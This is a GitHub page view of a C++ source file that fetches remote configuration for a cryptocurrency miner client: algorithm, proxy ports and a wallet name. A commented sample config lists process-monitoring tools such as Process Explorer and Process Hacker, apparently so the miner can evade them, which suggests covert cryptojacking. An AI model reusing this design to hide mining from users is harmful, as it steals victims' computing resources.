-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathminer_config.cpp
125 lines (101 loc) · 2.51 KB
/
miner_config.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
//
// Created by wtxpwh on 2018/11/13.
//
#include "miner_config.h"
#include <jsoncpp/json/json.h>
#include "common.h"
#include <iostream>
#include <random>
using namespace std;
miner_config::miner_config(int uid, string wid)
{
workid = wid;
userid = to_string(uid);
timestamp = 0;
//getminercfg();
}
miner_config::~miner_config()
{
}
bool miner_config::isnewconfig()
{
string timestampstr;
int tsresp = 0;
for (int i = 0; i < 10; ++i) {
tsresp = curl.http_get(tsurl + userid, timestampstr);
if(tsresp != 0)
sleep(1000);
else
break;
}
if (tsresp != 0)
return false;
int timestampint = stoi(timestampstr);
if (timestampint > 1529006329 && timestampint < 1830297600 && timestampint != timestamp) {
cout << "minger config updated!" << endl;
return true;
}
else
return false;
}
/*
{
"C_ALGO" : "34",
"C_NORUN" : null,
"C_PORT" : "8008|8008",
"C_PROXY" : "cn",
"G_ALGO" : "75",
"G_PORT" : "8106|8106",
"G_PROXY" : "cn-suqa",
"PROEXP_NAME" : "PCHunter,Process Explorer,Process Hacker,Process Monitor,cpuz.exe,GPU-Z.exe,GPUShark",
"REFRESHFREQ" : 600,
"REPORTFREQ" : 1800,
"TS" : 1541597139,
"UID" : 1,
"id" : 10482,
"wallet" : "game016"
}
*/
bool miner_config::getminercfg()
{
string jsonstr;
int cfgresp = 0;
string postreq = "UID=" + userid + "&GPUTYPE=" + "&CUDA=";
for (int i = 0; i < 10; ++i) {
cfgresp = curl.http_post(cfgurl, postreq, jsonstr);
if(cfgresp != 0)
sleep(1000);
else
break;
}
if (cfgresp != 0)
return false;
Json::Reader reader;
Json::Value root;
if(!reader.parse(jsonstr, root, false)) {
cout << "parse miner config file error!\n" << endl;
return false;
}
cout << "get miner config ok!" << endl;
cout << jsonstr << endl;
timestamp = root["TS"].asInt();
cfgrefreshfreq = root["REFRESHFREQ"].asInt();
cfgreportfreq = root["REPORTFREQ"].asInt();
cfgalgo = root["G_ALGO"].asString();
cfguserid = root["UID"].asInt();
cfggproxy = root["G_PROXY"].asString();
cfgport = root["G_PORT"].asString();
cfgusernameid = root["wallet"].asString();
int pos = cfgport.find("|");
port1 = stoi(cfgport.substr(0,pos));
port2 = stoi(cfgport.substr(pos+1,-1));
return true;
}
int miner_config::getrandomport()
{
random_device rd;
if(rd() % 2)
return port1;
else
return port2;
}